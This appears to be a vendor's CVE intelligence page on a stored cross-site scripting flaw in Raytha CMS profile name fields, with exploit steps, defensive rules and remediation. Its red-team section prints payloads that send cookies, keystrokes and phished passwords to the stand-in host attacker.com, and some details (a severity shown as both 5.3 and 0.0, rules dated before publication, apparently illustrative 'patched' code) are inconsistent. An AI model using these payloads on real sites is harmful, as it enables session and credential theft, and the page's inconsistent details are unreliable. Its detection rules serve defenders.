☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-69241

CVE-2025-69241 Cross-Site Scripting in Raytha
📅 PUBLISHED: 2026-03-16 11:53 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Proprietary
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69241 is a Stored Cross-Site Scripting (XSS) vulnerability in Raytha CMS, affecting versions prior to 1.4.6. An authenticated attacker can inject arbitrary HTML and JavaScript via the FirstName and LastName parameters in the profile editing functionality. This injected code is stored on the server and executed when any user (including administrators) visits the edited profile page. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of Stored XSS, the actual severity is high, potentially leading to session hijacking, data theft, or full account takeover. The vendor has released a fix in version 1.4.6.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Raytha CMS is a .NET-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's input handling. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability description is:

  • Attack Vector (AV): Network (N) – the attack is performed over the network.
  • Attack Complexity (AC): Low (L) – no special conditions are required.
  • Privileges Required (PR): Low (L) – attacker must be authenticated.
  • User Interaction (UI): None (N) – the injected code executes automatically when the page is viewed.
  • Scope (S): Changed (C) – the vulnerability impacts resources beyond the vulnerable component (e.g., admin sessions).
  • Confidentiality (C): High (H) – potential for data theft.
  • Integrity (I): High (H) – attacker can modify content or perform actions on behalf of users.
  • Availability (A): Low (L) – could be used to deface or disrupt.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 8.6 (High)

Deep Dive & Mechanics

The vulnerability resides in the profile editing functionality of Raytha CMS. When an authenticated user updates their profile, the FirstName and LastName fields are not properly sanitized or encoded before being stored in the database. The application then renders these fields on profile pages without output encoding, allowing arbitrary HTML and JavaScript to execute in the context of the victim's browser.

Attack Flow:

  1. Attacker authenticates to Raytha CMS.
  2. Attacker navigates to the profile editing page.
  3. Attacker injects malicious payload into FirstName or LastName field (e.g., <script>alert('XSS')</script>).
  4. The payload is stored in the database.
  5. When any user (including admins) views the attacker's profile, the script executes.
  6. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for user-controlled fields.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.4.6):

// Profile update handler
public IActionResult UpdateProfile(ProfileViewModel model)
{
    var user = _userService.GetCurrentUser();
    user.FirstName = model.FirstName; // No sanitization
    user.LastName = model.LastName;   // No sanitization
    _userService.Update(user);
    return RedirectToAction("Profile");
}

// Profile view rendering
@model UserProfile
<div>@Model.FirstName @Model.LastName</div> // No encoding

Patched Code (version 1.4.6):

// Profile update handler with sanitization
public IActionResult UpdateProfile(ProfileViewModel model)
{
    var user = _userService.GetCurrentUser();
    user.FirstName = HtmlEncoder.Default.Encode(model.FirstName); // Encoded
    user.LastName = HtmlEncoder.Default.Encode(model.LastName);   // Encoded
    _userService.Update(user);
    return RedirectToAction("Profile");
}

// Profile view rendering with encoding
@model UserProfile
<div>@HtmlEncoder.Default.Encode(Model.FirstName) @HtmlEncoder.Default.Encode(Model.LastName)</div>

The patch uses HtmlEncoder.Default.Encode() to sanitize input before storage and output encoding in the view.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Raytha CMS instance (version < 1.4.6)
  • Valid user credentials

Exploit Steps:

  1. Log in to Raytha CMS.
  2. Navigate to profile editing (e.g., /profile/edit).
  3. Set FirstName to: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  4. Set LastName to: <img src=x onerror=alert(1)>
  5. Save the profile.
  6. Any user viewing the attacker's profile will execute the injected scripts.

Example Payloads:

  • Session theft: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  • Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
  • Phishing: <form action="https://attacker.com/login" method="POST"><input name="user"><input type="password" name="pass"><input type="submit"></form>

Blue Team

Detection:

  • Monitor for unusual profile update requests with suspicious characters (e.g., <, >, script).
  • Look for outbound connections to unknown domains from the CMS server.
  • Check web server logs for requests to /profile/edit followed by profile views.

Hunting:

  • Search database for stored XSS patterns in FirstName and LastName fields.
  • Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP/HTTPS requests to attacker-controlled domains from the CMS server.
  • Logs: Profile update requests containing <script>, <img, <svg, or other HTML tags.
  • Database: Stored values in FirstName or LastName fields containing JavaScript or HTML.
  • File: No specific file IOCs; the attack is purely data-driven.

Detection Engineering

YARA Rule

rule Raytha_Stored_XSS_ProfileFields {
    meta:
        description = "Detects stored XSS payloads in Raytha CMS profile fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69241"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Raytha CMS Stored XSS via Profile Fields
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-69241 by injecting XSS payloads into FirstName or LastName fields.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69241
logsource:
    category: application
    product: raytha_cms
detection:
    selection:
        http.method: POST
        http.url: "/profile/edit"
        http.body|contains:
            - "<script"
            - "<img"
            - "<svg"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in profile fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69241 Raytha CMS Stored XSS Profile Field Injection"; flow:to_server,established; content:"POST"; http_method; content:"/profile/edit"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Raytha CMS to version 1.4.6 or later.
  2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block XSS payloads in profile fields.
  3. Review and sanitize existing database entries for malicious content.

Long-term Measures:

  • Enforce input validation and output encoding for all user-controlled fields.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Conduct regular security audits and penetration testing.

Workaround:

  • Disable profile editing functionality temporarily if upgrade is delayed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69241/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.